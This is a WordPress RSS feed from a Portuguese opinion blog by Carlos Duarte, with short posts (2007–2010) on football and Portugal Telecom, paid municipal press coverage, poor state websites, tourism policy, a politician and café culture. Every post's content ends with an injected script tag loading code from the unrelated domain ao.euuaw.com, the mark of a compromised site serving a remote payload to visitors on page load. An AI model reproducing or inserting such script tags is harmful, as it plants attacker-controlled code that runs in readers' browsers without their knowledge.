<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Carlos Duarte &#187; Sociedade</title>
	<atom:link href="http://carlosduarte.org/sociedade/feed" rel="self" type="application/rss+xml" />
	<link>http://carlosduarte.org</link>
	<description>Sociedade Global (Carlos Duarte)</description>
	<lastBuildDate>Sun, 27 Jun 2010 21:07:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1-alpha</generator>
<cloud domain='carlosduarte.org' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com" />
	<atom:link rel="hub" href="http://superfeedr.com/hubbub" />
			<item>
		<title>Portugal para levar a sério&#8230;</title>
		<link>http://carlosduarte.org/2010/06/ptserio</link>
		<comments>http://carlosduarte.org/2010/06/ptserio#comments</comments>
		<pubDate>Sun, 27 Jun 2010 20:51:52 +0000</pubDate>
		<dc:creator>Carlos Duarte</dc:creator>
				<category><![CDATA[Sociedade]]></category>

		<guid isPermaLink="false">http://carlosduarte.org/?p=453</guid>
		<description><![CDATA[O jogo de terça-feira &#8211; entre Portugal e Espanha &#8211; é em horário pós-laboral (20h30). Ainda bem, senão os nossos deputados, os mesmos que querem mudar os feriados a favor da produtividade nacional, teriam de parar os trabalhos da Assembleia para verem futebol. No dia seguinte, logo pelas 10h00, há outro embate ibérico na assembleia-geral [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-thumbnail wp-image-457" title="ptlogo" src="http://carlosduarte.org/docs/2010/06/ptlogo-150x150.png" alt="" width="150" height="150" />O jogo de terça-feira &#8211; entre Portugal e Espanha &#8211; é em horário pós-laboral (20h30). Ainda bem, senão os nossos deputados, os mesmos que querem mudar os feriados a favor da produtividade nacional, teriam de parar os trabalhos da Assembleia para verem futebol.</p>
<p>No dia seguinte, logo pelas 10h00, há outro embate ibérico na assembleia-geral da Portugal Telecom. Será que os accionistas da multinacional portuguesa vão render-se à proposta dos espanhóis da Telefónica para vender a operadora brasileira Vivo?<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://carlosduarte.org/2010/06/ptserio/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>À atenção da ERC</title>
		<link>http://carlosduarte.org/2009/08/eleicoeserc</link>
		<comments>http://carlosduarte.org/2009/08/eleicoeserc#comments</comments>
		<pubDate>Wed, 19 Aug 2009 22:08:32 +0000</pubDate>
		<dc:creator>Carlos Duarte</dc:creator>
				<category><![CDATA[Imprensa]]></category>
		<category><![CDATA[Jornalismo]]></category>
		<category><![CDATA[Sociedade]]></category>
		<category><![CDATA[Eleições]]></category>

		<guid isPermaLink="false">http://carlosduarte.org/?p=322</guid>
		<description><![CDATA[Os autarcas e a comunicação social]]></description>
			<content:encoded><![CDATA[<p>A pensar nas eleições autárquicas, têm-se sucedido nos últimos meses reportagens sobre freguesias, concelhos e respectivos autarcas. São publicados na imprensa regional ou em revistas encartadas com jornais de referência como o Público.<span id="more-322"></span></p>
<p>Estas reportagens não são jornalismo. São pagas pelos interessados. No caso, são pagas pelos dinheiros públicos através das autarquias. Supostamente, visam promover essas localidades. Na verdade, visam promover a continuidade dos autarcas. Funcionam como campanhas eleitorais simuladas.</p>
<p>Outra estratégia é, simplesmente, comprar órgãos de comunicação a pensar nas eleições de Outubro. (<a href="http://twitter.com/fcrocha/status/3326004707" target="_blank">fonte 1</a> | <a href="http://twitter.com/fcrocha/status/3326018776" target="_blank">fonte 2</a>)</p>
<p>É com isto que a Entidade Reguladora da Comunicação devia preocupar-se. Só depois com a participação de candidatos a actos eleitorais em espaços de opinião e debate.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://carlosduarte.org/2009/08/eleicoeserc/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Estado fomenta amadorismos&#8230;</title>
		<link>http://carlosduarte.org/2009/01/amadores</link>
		<comments>http://carlosduarte.org/2009/01/amadores#comments</comments>
		<pubDate>Mon, 26 Jan 2009 17:58:25 +0000</pubDate>
		<dc:creator>Carlos Duarte</dc:creator>
				<category><![CDATA[Blogues]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Sociedade]]></category>
		<category><![CDATA[Estado Português]]></category>
		<category><![CDATA[Social Media]]></category>

		<guid isPermaLink="false">http://carlosduarte.org/?p=200</guid>
		<description><![CDATA[Subscrevo os artigos do FAIL Blog por correio electrónico. Está repleto de situações divertidas. É o género de blogue que oferece conteúdos de digestão rápida que não me importo de consultar. Sou um grande entusiasta do Gmail. Embora contínue na versão beta desde o seu lançamento em 2004, também não me importo de utilizá-lo como [...]]]></description>
			<content:encoded><![CDATA[<p>Subscrevo os artigos do <a href="http://failblog.org/" target="_blank">FAIL Blog</a> por correio electrónico. Está repleto de situações divertidas. É o género de blogue que oferece conteúdos de digestão rápida que não me importo de consultar.</p>
<p>Sou um grande entusiasta do <a href="http://gmail.com" target="_blank">Gmail</a>. Embora contínue na versão <em>beta </em>desde o seu lançamento em 2004, também não me importo de utilizá-lo como plataforma de correio electrónico principal. Mesmo na versão <em>beta</em>, é melhor que a concorrência.<span id="more-200"></span></p>
<p>Pelo contrário, já fico bastante incomodado quando o <strong>Estado Português</strong> aplica os dinheiros públicos e desgasta a sua devida imagem de credibilidade com projectos de internet que combinam tanto o <em><strong>fail </strong></em>como o <strong><em>beta</em></strong>.</p>
<p>O portal estatal <strong><a href="http://www.base.gov.pt/" target="_blank">Base</a></strong> é um exemplo de falhanço total, propositado ou não. Parece ter sido concebido para dificultar o acesso dos cidadãos à informação que lhes é devida. Para contornar as limitações do site do Estado, a Associação Nacional para o Software Livre (ANSOL) desenvolveu o <strong><a href="http://transparencia-pt.org/" target="_blank">Transparência na AP</a></strong>. Em resumo, a partir dos dados do <strong>Base</strong>, disponibiliza um motor de pesquisa que funciona.</p>
<p>A atribuição <strong><em>beta </em></strong>ao <strong><a href="http://criar2009.gov.pt/" target="_blank">Criar 2009</a></strong>, um site estatal que assinala o Ano Europeu da Criatividade e Inovação, também não condiz com as devidas atribuições do Estado. Julgo absolutamente desadequado que tenha sido lançado sem incluir os contactos, apresentação ou programa da iniciativa.</p>
<p>Em ambos os casos, se não é o Estado a dar o exemplo de profissionalismo, quem dará? Amadorismos, não obrigado!<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://carlosduarte.org/2009/01/amadores/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Turismo</title>
		<link>http://carlosduarte.org/2009/01/turismo</link>
		<comments>http://carlosduarte.org/2009/01/turismo#comments</comments>
		<pubDate>Thu, 22 Jan 2009 23:38:13 +0000</pubDate>
		<dc:creator>Carlos Duarte</dc:creator>
				<category><![CDATA[Sociedade]]></category>

		<guid isPermaLink="false">http://carlosduarte.org/?p=196</guid>
		<description><![CDATA[“Queremos lançar uma campanha para encorajar os portugueses a passarem mais férias em Portugal. Os portugueses passam menos férias no seu país do que, por exemplo, os espanhóis e os franceses”, disse o ministro da Economia, Manuel Pinho. O Turismo de Portugal decidiu reformular a sua estratégia de promoção para 2009. No dicionário português, isto [...]]]></description>
			<content:encoded><![CDATA[<p>“Queremos lançar uma campanha para encorajar os portugueses a passarem mais férias em Portugal. Os portugueses passam menos férias no seu país do que, por exemplo, os espanhóis e os franceses”, disse o ministro da Economia, Manuel Pinho.</p>
<p>O Turismo de Portugal decidiu reformular a sua estratégia de promoção para 2009. No dicionário português, isto significa que vão ser investidos mais 30 milhões de euros para promover o País junto das companhias aéreas estrangeiras. Acrescentem ainda mais quatro milhões de euros para a apresentação de Portugal como destino turístico junto dos portugueses.<span id="more-196"></span></p>
<p>Manuel Pinho e o Turismo de Portugal estão preocupados com os portugueses que passam férias no estrangeiro. Querem até convencê-los a fazer turismo cá dentro. Mas quantos serão esses cidadãos <em>jetlag</em>? Certamente uma minoria.</p>
<p>De repente, os nossos governantes resolvem comparar os hábitos turísticos de países como Inglaterra, Alemanha ou Suécia com os de um País onde o salário mínimo é 450 Euros. Não deviam estar preocupados com os portugueses que passam férias no estrangeiro, mas antes com os que nem em Portugal podem gozar férias. Quem até agora passou férias no estrangeiro vai continuar a fazê-lo porque tem poder económico para isso.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://carlosduarte.org/2009/01/turismo/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Augusto Santos Silva</title>
		<link>http://carlosduarte.org/2008/01/augusto</link>
		<comments>http://carlosduarte.org/2008/01/augusto#comments</comments>
		<pubDate>Tue, 15 Jan 2008 01:30:00 +0000</pubDate>
		<dc:creator>Carlos Duarte</dc:creator>
				<category><![CDATA[Sociedade]]></category>
		<category><![CDATA[Política]]></category>

		<guid isPermaLink="false">http://blog2.carlosduarte.org/2008/01/augusto-santos-silva/</guid>
		<description><![CDATA[Importante recordar que estas declarações (http://videos.sapo.pt/Wr2z2rQZD4RDOCSZyNZ4) são da mesma pessoa que no passado também já disse isto (TSF / SIC / Áudio).]]></description>
			<content:encoded><![CDATA[<p>Importante recordar que estas declarações (<a href="http://videos.sapo.pt/Wr2z2rQZD4RDOCSZyNZ4">http://videos.sapo.pt/Wr2z2rQZD4RDOCSZyNZ4</a>) são da mesma pessoa que no passado também já disse isto (<a href="http://tsf.sapo.pt/online/portugal/interior.asp?id_artigo=TSF167325">TSF</a> / <a href="http://sic.sapo.pt/online/noticias/pais/especiais/presidenciais/20060115+Santos+Silva+dramatiza+Cavaco.htm">SIC</a> / <a href="http://www.tsf.pt/audio/2006/01/noticias/16/as_silva.asx">Áudio</a>).<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://carlosduarte.org/2008/01/augusto/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.tsf.pt/audio/2006/01/noticias/16/as_silva.asx" length="376" type="video/x-ms-asf" />
		</item>
		<item>
		<title>Coffe House em Berkeley</title>
		<link>http://carlosduarte.org/2007/12/berkeley</link>
		<comments>http://carlosduarte.org/2007/12/berkeley#comments</comments>
		<pubDate>Wed, 19 Dec 2007 01:49:00 +0000</pubDate>
		<dc:creator>Carlos Duarte</dc:creator>
				<category><![CDATA[Cultura]]></category>
		<category><![CDATA[Sociedade]]></category>

		<guid isPermaLink="false">http://blog2.carlosduarte.org/2007/12/coffe-house-em-berkeley/</guid>
		<description><![CDATA[Esta fotografia foi retirada por Dave Winer num coffe house de Berkeley. Das sete pessoas visíveis, quatro estão com um portátil, duas com cadernos ou livros e existe uma última encostada ao canto, sendo pouco perceptível se suporta um portátil ou livro. Por outras palavras, 100% dos presentes estão ocupados em actividades de trabalho ou [...]]]></description>
			<content:encoded><![CDATA[<p>Esta fotografia foi retirada por <a href="http://flickr.com/photos/scriptingnews/2121056628/" target="_blank">Dave Winer</a> num <em>coffe house</em> de Berkeley. Das sete pessoas visíveis, quatro estão com um portátil, duas com cadernos ou livros e existe uma última encostada ao canto, sendo pouco perceptível se suporta um portátil ou livro.</p>
<p style="text-align: center;"><img class="aligncenter" style="border: 0pt none; width: 400px;" src="http://carlosduarte.org/docs/2007/12/berkeley.jpg" border="0" alt="" /></p>
<p>Por outras palavras, 100% dos presentes estão ocupados em actividades de trabalho ou lazer. Excluindo o indivíduo do canto, significa que 67% estão com computador e 33% com livros. Claro que a universitária Berkeley não representa a geneneralidade das cidades norte-americanas. Mesmo assim, a diferença cultural relativamente a Portugal é gigantesca.</p>
<p>Deste lado do Atlântico, os donos dos cafés afixam placas do género: &#8220;Proibido ocupar as mesas para estudar&#8221;. Estou para encontrar o primeiro café que disponibilize acesso à internet sem-fios aos clientes. Infelizmente, os únicos espaços que fogem à regra continuam a ser os centros comerciais e as estações de serviço, onde muitos jovens se juntam pela noite dentro para conviver e trabalhar com acesso à rede.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://carlosduarte.org/2007/12/berkeley/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
